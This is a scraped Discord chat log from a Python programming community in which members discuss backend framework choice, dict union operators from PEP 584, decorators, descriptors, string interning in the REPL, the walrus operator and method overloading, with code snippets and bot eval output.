But yeah
unkempt rock
@wide shuttle i definitely sayin that bro thank ๐
at last, independent from your work, i suggest that selecting a language for best to it
๐
flat gazelle
sometimes, it is better to do a mediocre job in python than learn a whole language. https://www.hillelwayne.com/post/learning-a-language/
flat gazelle
right now, python, simply because I know it best of all the backend langs
unkempt rock
i am stuck there, i want to Backend support to my website, but python's Flask module seems slightly weak for it. on the other way, if i use django i dont know MV.. structure so clear.
maybe another language for it, but i dont want to learn a new language from beginning.
flat gazelle
how does flask seem weak? Flask is very universal
unkempt rock
i am saying that "is python good for backend development or is any language exist which best fit with server side scripting.
@flat gazelle "Flask is a mini-framework for web, at most for beginners.
gray mirage
Flask is a framework used in many real-world applications
unkempt rock
so i am beginner to web too, but shoud l use flask for my website ?
gray mirage
it's mature, stable, and easy to work with
flat gazelle
Netflix, reddit, Patreon, ... all use flask at least to an extent
it is not a toy framework
unkempt rock
laravel, node, django, javaserverface, ... ?
or asp.net maybe
which is best or most popular for web
gray mirage
You're too set on finding "the best" that you've lost track of what that actually means
flat gazelle
flask, django, springboot are the most popular rn afaik
gray mirage
The best framework or language is the one you like the most.
flat gazelle
but yes, it is more about what you like than what everyone else likes
unkempt rock
then you saying that "u can use python for web it is good for most" ?
flat gazelle
yes, python can be used for almost all websites with no issues arising from the language
gray mirage
What about them?
flat gazelle
one thing you need to discover about backend dev is that you can almost any language. Including the more odd ones like Haskell, Common Lisp, Clojure, elixir, ...
and most of then will work just fine
ones abilities as a programmer will be a bottleneck much sooner than a web framework
gray mirage
I'm not sure you understand what you want yourself
unkempt rock
ok, relax men
gray mirage
?
unkempt rock
at first
i have a well designed website.
but static, not like a facebook, or instagram, ok ?
i have users which visiting my site
and i want it very secure
k ?
i want secure and powerful with databases.
Python -> secure, but weak db access
Node.js -> not so secure accessing db can exploit.
i dont know other languages C#, Java, PHP etc..
gray mirage
Security has absolutely nothing to do with most languages
unkempt rock
i want sth both secure and powerful for backend
gray mirage
also, Python does have excellent libraries for database access
Django has an ORM, there's also SQLAlchemy + Alembic (which can be integrated with Flask)
flat gazelle
a language will not help you that much with security. You can write secure things in python just as well as in every other language. There are some advantages to languages like Haskell, Java (limiting constructor access) and Rust (probably similar to haskell), but it is not a catchall and you can still write security holes, regardless of how much you bullly the type system
grave jolt
C is statically typed, but I would say it can be less type-safe than Python because of void* and friends.
tacit sinew
Is it ok to use a 2012 book to learn Python from?
I tried 2 popular books and I think they're shit..
I really like this 2012 book, but I'm afraid if it's outdated or something, could that be the case?
unkempt rock
Well IDK the initial release of Python 3 so if you are down to learn Python 2, I mean why not?
You'll need to get comfortable with Python 3 while moving forwards but it won't be hard.
tacit sinew
It uses Python 3 in the book.
unkempt rock
@flat gazelle i dont mean web securitiy, i mean secure db access my friend ๐
flat gazelle
It still applies
uncut sage
@unkempt rock secure DB access is entirely a factor of how you deploy your DB and little to nothing to do with the language in question
e.g., using a non-admin account to access the DB from your web app, having a strong password for admin, not allowing admin access from anything other than the server where the DB is hosted, rotating passwords regularly, not storing DB passwords in plaintext or in code, etc.
unkempt rock
bro, i heard that javascript's database security feature is weak is it true or legnd ?
@uncut sage
uncut sage
@unkempt rock I don't use JavaScript, I can't comment
wide shuttle
I think we've meandered quite a bit from the topic of this channel
uncut sage
yeah, any further questions in this vein belong in #databases
gritty goblet
hi, someone can explain me how the XOR (x^y) work in python ?
unkempt rock
Hi! When I start the bot the terminal: certificate has expired I don't understand, help c:
lunar trail
@unkempt rock answered in #python-discussion, but in future see #discord-bots for help with dpy
unkempt rock
Okay
karmic agate
yo what lib can i use for drawing stuff on the screen and make it moving
flat gazelle
wrong channel, but arcade/pyglet/pygame are solid
raven pike
hey guys
so what's going to happen to python when it completely moves to githun?
will they ever accept external contributions? will it change anything?
or is it just a platform change?
gray mirage
They already accept PRs I think
wide shuttle
They welcome all contributors; there's even a how to become a contributor guide on the website
If you want to help out reviewing stuff, that's fine as well (as long as the reviews are reasonable)
I'm sure the core devs and triage team like seeing informed opinions on PRs
swift imp
@gritty goblet xor(x,y) or x^y is Exclusive OR. In English, its typically used as x or y but not both x and y
Less succintly x^y is equivanetly (x and not y) or (not x and y)
Its true when either are true but not when both are true
thats how it differs from regular or which is more correctly labeled inclusive or
gritty goblet
thx
deft pagoda
In [70]: %tt p or q, p xor q
โโโโโฌโโโโฌโโโโโโโโโฌโโโโโโโโโโโ
โ p โ q โ p or q โ p xor q โ
โโโโโผโโโโผโโโโโโโโโผโโโโโโโโโโโค
โ F โ F โ F โ F โ
โ F โ T โ T โ T โ
โ T โ F โ T โ T โ
โ T โ T โ T โ F โ
โโโโโดโโโโดโโโโโโโโโดโโโโโโโโโโโ
https://www.python.org/dev/peps/pep-3105/ explains the rationale for making print a function.
peak spoke
They're used for flow control, and that is usually done with keywords (maybe always)
raven ridge
Right. if print didn't exist, you could implement it yourself pretty easily, in pure Python code. The same can't be said for yield or raise; those require special support from the interpreter.
rich wharf
raise could be implemented quite easy
def throw(e):
(() for () in ()).throw(e)
but I see your point
raven ridge
Fair enough; what a horrific abuse of generators, but I guess you could implement raise yourself, heh
swift imp
You can do truth tables in freaking ipyrhon?
raven ridge
@deft pagoda ^ yeah, that was cool - what's the magic for that?
swift imp
That doesn't work in my ipython
raven ridge
right - you're able to define custom magics; they must have defined a custom one for that
north root
since salt is afk, i'll post it for them :) https://github.com/salt-die/tiny-math/tree/master/truthtables
some interesting stuff in there
swift imp
that is amazing
Learned something new today.
I can see that being useful for thinking about logical expressions like that
shit
raven ridge
Love it, salt. โค๏ธ
zenith quarry
It says the chat rooms under How to get help tab are read only
deft pagoda
oh, sorry was afk, i should post my entire ipython startup file somewhere
solar otter
hey can I use python to code ai
low lagoon
you can, indeed
solar otter
like real ai
low lagoon
define real ai
low lagoon
movies aren't that realistic when it comes to AI
low lagoon
I'm not experienced in AI at all, but I know for a fact you can make genetic evolution stuff
so making something play a game for you is possible in python, yes
but it really depends on the game
solar otter
I'd like to make something that learns how to play any games
like a general game playing ai
north root
this is quite off-topic for this channel, a help channel or (possibly) #data-science-and-ml would be a better channel for this. there's also the AI guild: https://discord.gg/CbVJYtz
solar otter
oh ok
raven ridge
something that can play games is pretty easy. https://github.com/thomasahle/sunfish/blob/master/sunfish.py is an example of a chess AI.
rich wharf
I sort of liked this as #python-language more
near coral
alright guess this channel metamorphisized from Python Language to Advanced Python ๐
deft pagoda
tepid dune
lost nexus
do you guys think there's going to be any notable performance difference between using IOR versus dict.update in 3.9?
raven ridge
I don't believe it's supposed to make much of a difference. My wild guess would be that it will be slightly faster, due to not needing to lookup the update method by name.
lost nexus
yeah good point
pliant tusk
it will make a difference, because if you are using dict.update to create a new dict containing the contents of 2 dicts (as IOR does) then you will need a temp variable. in IOR a temp var wont be needed.
x = {'a':2}
y = {'b':3}
z = dict(x)
z.update(y)
``` vs ```py
x = {'a':2}
y = {'b':3}
z = x | y
boreal umbra
Huh, this is a good name for the channel, I think.
raven ridge
isn't IOR the inplace one? So the right comparison is:
x = {'a':2}
y = {'b':3}
x.update(y)
vs
x = {'a':2}
y = {'b':3}
x |= y
isn't it?
raven ridge
https://www.python.org/dev/peps/pep-0584/ - nope, accepted.
boreal umbra
What about and?
raven ridge
yes
This PEP does not take a position on whether dicts should support the full collection of set operators, and would prefer to leave that for a later PEP (one of the authors is interested in drafting such a PEP).
...
For example, given two dicts:d1 = {"spam": 1, "eggs": 2}
d2 = {"ham": 3, "eggs": 4}
...
Set intersection (&) is a bit more problematic. While it is easy to determine the intersection of keys in two dicts, it is not clear what to do with the values. Given the two dicts above, it is obvious that the only key of d1 & d2 must be "eggs". "Last seen wins", however, has the advantage of consistency with other dict operations (and the proposed union operators).
boreal umbra
Ah, I was wondering about add. +
raven ridge
oh, I though that was a typo ๐ What would you want dict1 + dict2 to do?
how would it be different from | ?
boreal umbra
My family is demanding my attention but I'll get back to you when they allow it.
prime estuary
+ vs | vs << vs whatever I remember was a lively discussion in the mailing list.
pliant tusk
I thought you just meant the operator not the assignment operation
raven ridge
ah - the + operator with the same semantics as were eventually assigned to | was discussed; https://www.python.org/dev/peps/pep-0584/#use-the-addition-operator
basically, "it was too controversial" and "read the mailing list" ๐
boreal umbra
@raven ridge thanks! It occured to me later that if we used plus to combine two dicts, then the plus operator would be doing a totally different thing for Counter
And that would break... THE LISKOV SUBSTITUTION PRICIPLE
But also result in potentially counterintuitive behavior if you wanted to combine a dict and a Counter
crystal kindle
for actual AI
we need something that is like A* but for planned actions that can be recognized and used to traverse a goal
[step 1- walk here, step2 open door , etc]
and after it is in the middle of it, it re-evaluates it's plan periodically
prime estuary
Well, you could use A* for that. It doesn't have to operate on a grid, it can be used on any graph.
You'd need to define some sort of state, and then a way to determine all possible states it can get to by performing an action. And then a heuristic function, which might be the hard bit
pastel crest
how did you guys learn python from the very begining
cloud crypt
while waiting for | for dicts, I have been using these two functions for merging dicts:
def merge_inplace(original, *dicts, **fields):
for other in dicts:
original.update(other)
original.update(fields)
def merge(*dicts, **fields):
result = {}
merge_inplace(result, *dicts, **fields)
return result
# >>> foo, bar = {"a": 1}, {"b": 2}
# >>> merge(foo, bar, c=3)
{'a': 1, 'b': 2, 'c': 3}
# >>> merge_inplace(foo, bar, c=3)
# >>> foo
{'a': 1, 'b': 2, 'c': 3}
!e
foo, bar = {"a": 1}, {"b": 2}
print({**foo, **bar, **dict(c=3)})
@raven ridge :white_check_mark: Your eval job has completed with return code 0.
{'a': 1, 'b': 2, 'c': 3}
As PEP has said, this doesn't look very beautiful haha
tawdry gulch
If you really want | for dicts couldnโt you just subclass
Surely thereโs a Dunder for |
flat gazelle
there is __or__ and __ior__
tawdry gulch
right
flat gazelle
it not an ideal solution though, sometimes you have nested dicts for example
undone hare
Dict unpacking looks okay for me tbh
tawdry gulch
Sets handle that okay thought right
flat gazelle
and doing
fancydict(get_dict()) | get_other_dict()
``` is not all that greatthough*
Oh, I mean yeah, it looks bad if you instiantate it like that on the spot
No use in that
flat gazelle
you have to convert into the fancy dict at some point
tawdry gulch
Yeah
cloud crypt
switch address of dict and replace it with your own via ctypes lol
cloud crypt
Pretty sure itโll segfault the moment you do it tho
flat gazelle
I wonder if just switching builtins.dict would work for the bytecode BUILD_MAP
cloud crypt
#python-discussion
#internals-and-peps
#esoteric-python
3 stages of every pythonista, haha
ye thatโs an interesting question
unkempt rock
@gloomy rain The heck , imma let u gays
radiant fulcrum
bruh
deep coral
gray mirage
visual rose
Do you guys have any good reading material on decorators?
flat gazelle
the realpython article is solid afaik
https://realpython.com/primer-on-python-decorators/
visual rose
@flat gazelle yeah he is good. Imma read this up..
wide shuttle
It starts out with the most important bit: function objects are just like other objects
That's the real magic, the decorator syntax, is ultimately "syntactic sugar" that makes things so much more readable
tawdry gulch
Decorator is my fav syntax sugar
visual rose
We're basically modifying what the function does isn't it?
tawdry gulch
Sad other languages donโt have it
flat gazelle
some languages have something similar
cloud crypt
decorators are extremely nifty for modifying the behavior or separating logic
flat gazelle
LISP has :around functions, which are kind of similar, raku has wraps. Ruby has flexible lambda syntax that sometimes looks cleaner than decorators
cloud crypt
lisp has ((())) 
flat gazelle
yeah, LISP is the original dynamically typed lang and is still a really nice language
I sometimes use scheme for prototyping algos
tawdry gulch
Huh wait was it the first dynamic Lang?
flat gazelle
maybe not the first, but the first big one afaik
tawdry gulch
Right. Huh
flat gazelle
though LISP has static typing as well in some dialects (kawa e.g.)
tawdry gulch
A lot more respect for lisp now
wide shuttle
We're basically modifying what the function does isn't it?
@visual rose
You're usually not directly manipulation the original function object, rather you're creating a new function object that uses the old one. The name of the old function object then gets assigned to the new function object. Whenever you "call" the name, you call the new function instead of the old one.
flat gazelle
@decorator
def fun():
...
```is about the same as
```py
def fun():
...
fun = decorator(fun)
why about the same? quite literally works like this
hollow crane
well that makes a lot more sense now
prime estuary
Well the difference is that the original function is never saved to the variable.
hollow crane
only used decorators in very specific situations and it seemed completely magic
cloud crypt
ah, yeah, fair
flat gazelle
which does matter in cases like
class A:
@decorator
def method(self):
...
```I would thinkNo, it doesn't really matter there either
prime estuary
There with a __prepare__ method (or exec() with custom globals) you could spot the difference.
Not really important though.
wide shuttle
try method = decorator(method) after you created the function object you called method there
flat gazelle
yeah, I was specifically thinking some metaclass could catch that
cloud crypt
@routes.get("/api/user/{id}")
@handle_errors()
@auth_setup(required=False)
@cooldown(rate=10, per=1)
async def handle_user(request: web.Request) -> web.Response:
...``` decorators huh Not sure if using that many is fine at this point
wide shuttle
I think it's still okay, but it probably depends on what you're used to
prime estuary
Compartmentalises all your different layers and issues.
flat gazelle
oh yeah, there is matters actually
prime estuary
Yes and no, since it would refer to the previous definition. That's what property does.
flat gazelle
@fun
def fun(): ...
```does not work
```py
def fun(): ...
fun = fun(fun)
```does work-ishBut you could do myfunc = myfunc(myfunc), no idea why.
wide shuttle
The name myfunc is defined at that point
prime estuary
Yep.
cloud crypt
Regarding the thing I have posted:
routes.get registers a route with GET method
handle_errors catches all exceptions, sending the response with the message/type of an error, also allowing to pass some functions to specifically add messages/return types.
auth_setup adds an attribute needs_auth to a function, allowing an aiohttp.web.middleware to handle auth header/tokens.
cooldown creates and puts a CooldownMapping class that gets updated every request.
So I think it's pretty understandable to use that bunch 
wide shuttle
I didn't quite know the functions, but I had no trouble understanding what that piece of code was supposed to do
wide shuttle
Does anyone have a good resource on best practices for data descriptors? It's probably going to be some kind of opinated blogpost, but I don't really care about that.
I'm always struggling a bit with what the best practices are and when I look at other implementations, they all take different approaches
With __set_name__ it's trivial to store the data in the __dict__ of the actual instance on which the class attribute is accessed (not the descriptor instance) under a proper name (and that's what a lot implementations do), but it's a lot of boilerplate
prime estuary
Can you extract the boilerplate into some common class or something?
wide shuttle
Yeah, it's not really that I mind the boilerplate (I can factor it out, like you said), but typically when I'm using something that I'd consider boilerplate, there's a better solution
I wish there was like a "post Fluent Python" kinda resource
Although what I'm looking for (a single, unified approach that's generally accepted) may just not exist for something like this
flat gazelle
You could look at some things that use descriptors and see how they do it and imitate
prime estuary
Probably everyone has different needs?
wide shuttle
Probably
I'm currently doing something fairly basic and using the approach outlined briefly in Fluent Python (the first edition, I haven't read the second edition yet)
molten onyx
"post Fluent Python" resources are David Beazley's Python talks :)
stable grail
the python cookbook is nice, and David open sourced his other book in wich the name eludes me atm
but did the second edition of fluent python get delayed? mine has not been shipped to me yet.
Fluent Python, 2nd Edition
by Luciano Ramalho
Released January 2021
Publisher(s): O'Reilly Media, Inc.
ISBN: 9781492056355
this is from the oreilly.com store @wide shuttle
wide shuttle
"post Fluent Python" resources are David Beazley's Python talks :)
@molten onyx
Yeah, I love those.
@stable grail I think it was already delayed. They released an online "preview" version that stil had to be "edited" and "revised" in March. The process after that, from editing/revising to printing, quality control, and shipping probably takes some time.
I think they may have even released that preview version to get more feedback, but I don't know, I haven't actually bought it
stable grail
Jan 2021 as of this time
wide shuttle
It's the tragedy of good books: It will be updated to 3.8, but 3.9 will have been released by the time the book gets released
Although I don't think anything in the 3.9 version would have changed the contents dramatically
deft pagoda
i had an idea to remove some decorator boilerplate and managed to get this to work:
In [8]: @decoratorize
...: def print_result(*args, **kwargs):
...: result = func(*args, **kwargs)
...: print(result)
...: return result
...:
...: @print_result
...: def add_2(x):
...: return x + 2
In [9]: add_2(10)
12
Out[9]: 12
this does require your function not to use func as a local variable though
wide shuttle
What is decoratorize?
deft pagoda
def decoratorize(wrapper):
source = getsource(wrapper)
source = '\n'.join(line for line in source.splitlines() if not line.startswith('@'))
deco = f"""
def deco(func):
{indent(source, ' ')}
return {wrapper.__name__}
"""
loc = {}
exec(deco, None, loc)
return loc['deco']
this is pretty naive version
we'll just call it a "prototype"
deft pagoda
maybe not, just you need to refer to the function you decorate as func in your would-be decorator
is more what i meant
wide shuttle
Yeah, but the func definition in the to-be-decorated function (add_2 here) should not interfere with that
I think
deft pagoda
no i don't think so
also would probably explode with multiple decorators
you could add some logic at the start to fix that though
worldly hedge
Where did python-language go? 
spice pecan
renamed to this
worldly hedge
hmm 
somber halo
hey, here's a gotcha that I'm trying to figure what's happening here
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
False
>>> lolkek is "lolkek"
True
>>> a, b = "a", "b"
>>> a is "a"
True
>>> b is "b"
True
this was executed in Python's REPL
prime estuary
As an optimisation, CPython caches and reuses certain objects it knows are often used. For example thereโs only ever one empty tuple.
somber halo
if you run the equivalent code in a simple Python module, all 4 conditions are true.
prime estuary
And in this case all single characters are reuse.
In that case the code is compiled in one unit, so CPython can see the duplicate strings and reuses the same object for them all.
In the REPL put the assignments on the same line with ; and youโll see the same happen.
dawn hill
I'm disappointed this didn't work
while (foo := True) == True:
foo = False
print("bar")
It just infinite loops
hollow crane
Why wouldn't it
whole glacier
Which is what it should do
hollow crane
The condition will always be true
dawn hill
Would have thought the walrus operator would only trigger once but it reassigns
dawn hill
Yeah I'm just used to doing that
prime estuary
No it triggers every time it runs.
whole glacier
If anything, doing a py x = 10 x = 20 print(x)and if it prints 10, I will be super confused
walrus is for assigning values, so it should reassign
dawn hill
I just would have hoped it'd let me do what I wanted. Makes sense to reassign.
whole glacier
Hmm, what are you trying to do?
dawn hill
Just seeing if there was a shortened way of having while var without having to assign beforehand
wide shuttle
@somber halo Running something in the REPL involves compiling each line separately, while a module is compiled in one go. That's the difference I can think of and it may influence some of the string interning that's happening.
whole glacier
In that case you can use the break instead
And check var inside the while loop
Which is subjectively better than initializing a variable
dawn hill
I usually use that yeah.
wide shuttle
You evaluate the expression each time, yeah
otherwise things like while (item := get_next_item()): wouldn't work
whole glacier
Hmm, weird, it wasnt a True for the last one for me
Python 3.8.3 (tags/v3.8.3:6f8c832, May 13 2020, 22:37:02) [MSC v.1924 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
>>> lolkek is "lolkek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
>>> a, b = "a", "b"
>>> a is "a"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
>>> a is "b"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False```should be b is "b"
dawn hill
Never even thought of using walrus with functions. It seems so useful.
somber halo
it's like the is operator is replaced by the == operator in the REPL, which wouldn't make much sense I believe.
wide shuttle
They're not replaced, but Python is doing something called string interning
As strings are immutable, it tries to keep only one copy of the string in memory
There's no need to have two copies of a string with an identical value in memory
visual shadow
When is says something is true, they really are the same object.
wide shuttle
And that means that is comparisons will give strange results with those kind of objects (and why Python started giving that "literal warning")
whole glacier
Yep, it is because of string interning, which differs from a REPL and when compiling and running
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
>>> id("lol kek")
2870219321456
>>> id(lol_kek)
2870219309744```It's also why a lot of beginners get bitten by is and small int objects
And why even some bad tutorials even recommend is
For some reason
whole glacier
Technically is is much faster than ==
But that is by no mean a valid reason to use is over ==
wide shuttle
I doubt that's the reason why those tutorials advice is
I think they're just written by people who are confused about the difference
whole glacier
That can also be the case, yes
>>> a = "yes this is a super long string"
>>> b = "yes this is a super long string"
>>> id(a), id(b)
(2870219319376, 2870219319456)
>>> a is b
False```more examples of how python intern strings differentlyThis is only on REPL as each line is compiled, as opposed to when running from a script where the entire code is compiled
>>> if True:
... a = "yes this is a super long string"
... b = "yes this is a super long string"
...
>>> a is b
True```In this case we simply make it so both the assignment be done in the same line ( using if to create a block ) -> then python will actually create a single string and point both a and b toward it
wide shuttle
Just use f-strings that have placeholders and non-placeholder content
>>> f"{'hello'} you" is f"{'hello'} you"
False
In [61]: a = type('', (), {'__eq__': lambda *args:True})()
In [62]: b = type('', (), {'__eq__': lambda *args:True})()
In [63]: a == b
Out[63]: True
In [64]: a is b
Out[64]: False
salt, no!
deft pagoda
that's perfectly readable
somber halo
ok, there's some shenanigans wrt string interning when using the REPL
but I still didn't quite get the different results between the (lol_kek, lolkek) and (a, b) tuples
true ridge
ok, there's some shenanigans wrt string interning when using the REPL
@somber halo it isn't specific to strings, or the REPL. Since every block>>>compiled individually, python re-creates everything (even the constants, which differs from compiling the same exact code on a file)
somber halo
ok, gotcha.
so what's the possible cause then for the different results in these tuples?
true ridge
so what's the possible cause then for the different results in these tuples?
@somber halo what tuples?
somber halo
whole glacier
The length of the strings
For very simple strings like "a" python will create and intern a single one, that's consistent between each compilation ( in a single session )
>>> a = "a"
>>> b = "a"
>>> c = "a"
>>> a is b
True
>>> a is c
True
>>> b is c
True```vs```py
>>> a = "much longer string"
>>> b = "much longer string"
>>> c = "much longer string"
>>> a is b
False
>>> a is c
False
>>> b is c
False```nice
whole glacier
It's part of internal optimization iirc
somber halo
thanks for clearing this up then.
yet another quirky scenario
>>> a = "abc"
>>> b = "abc"
>>> c = "abc"
>>> a is b
True
>>> a is c
True
>>> b is c
True
>>> a = "a b c"
>>> b = "a b c"
>>> c = "a b c"
>>> a is b
False
>>> a is c
False
>>> b is c
False
>>> a = "a b"
>>> b = "a b"
>>> c = "a b"
>>> a is b
False
>>> a is c
False
>>> b is c
False
>>> a = "reallylongstringwithnospaces"
>>> b = "reallylongstringwithnospaces"
>>> c = "reallylongstringwithnospaces"
>>> a is b
True
>>> a is c
True
>>> b is c
True
having whitespaces in a string seem to be the culript
full jay
That's so bizarre
I never would have figured that'd be the deciding line. I always thought it was just string length
reef hill
hello i need helps please
shy vine
reef hill
mmh sorry
boreal umbra
Is the reason Python doesn't have method overloading basically just that you can't really have it when your method signatures are untyped?
Or did Guido have a specific objection to them?
true ridge
Is the reason Python doesn't have method overloading basically just that you can't really have it when your method signatures are untyped?
@boreal umbra I don't know about Guido's opinion but since we do have 'default arguments' (compared to languages who allows overloading), 'decorators' and tons of other metaprogramming stuff, there is no need for it at the core level. And if this isn't enough, you can always usefunctools.singledispatchor implement something similiar with decorators.
boreal umbra
I can only think of one time where I thought overloading a method would be the most obvious way to solve something
Though I've encountered critics of Python who gave the absence of overloading as one of their main reasons for hating Python
grave jolt
Well, making an overloading decorator is pretty trivial.
Just a little inspect magic, maybe
spice pecan
There are some edge cases when overloading would be useful, but in general it seems like its absence is barely noticeable
grave jolt
It may be more useful in statically typed languages.
In C++'s Qt, the QString constructor has 9 versions...
That might be a bit confusing, though
spice pecan
That's about 8 too many
twilit garnet
9 too many if you just use a const char * :^)
spice pecan
grave jolt
haha, try saying that to QFile!
peak spoke
Python strings also have a few
peak spoke
But with qt's many types it makes sense, with some of them probably not being used that much
grave jolt
"call __str__ or __repr__ or __repr__ if __str__ doesn't exist"
spice pecan
def str(arg):
try:
return arg.__str__()
except AttributeError:
return repr(arg)
simple, but really convenient
I really like the built-ins that wrap around dunders like that
spice pecan
oh, should probably check for NotImplemented then
spice pecan
ah right, the classname and memory slot
fallen slateBOT
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
<__main__.A object at 0x7f64c16bdf10>
Hmm, funny enough, it will still work with getattr
!e ```py
def str(obj):
return getattr(obj, 'str', obj.repr)()
class A:
def repr(self):
return 'hello'
print(str(A()))
@whole glacier :white_check_mark: Your eval job has completed with return code 0.
hello
Are you in some conspiracy with ves_zappa? ๐ค
whole glacier
i has no idea what you talking about, promize
grave jolt
naming convention pride month
whole glacier
yep, definitely not just suddenly snake_cased my name 6h ago, nope
fallen slateBOT
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
1
and object just has a __str__ method
whole glacier
Yep, but then shouldnt it call obj.__str__ then
in the py getattr(obj, '__str__', obj.__repr__)()
I was trying to get that first
grave jolt
!e
class A:
pass
print(getattr(A, "__str__"))
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
<slot wrapper '__str__' of 'object' objects>
It does exist
spice pecan
It seems like you can check if __str__ is overriden(?) fairly easily
grave jolt
it will climb the MRO ladder in search of that attribute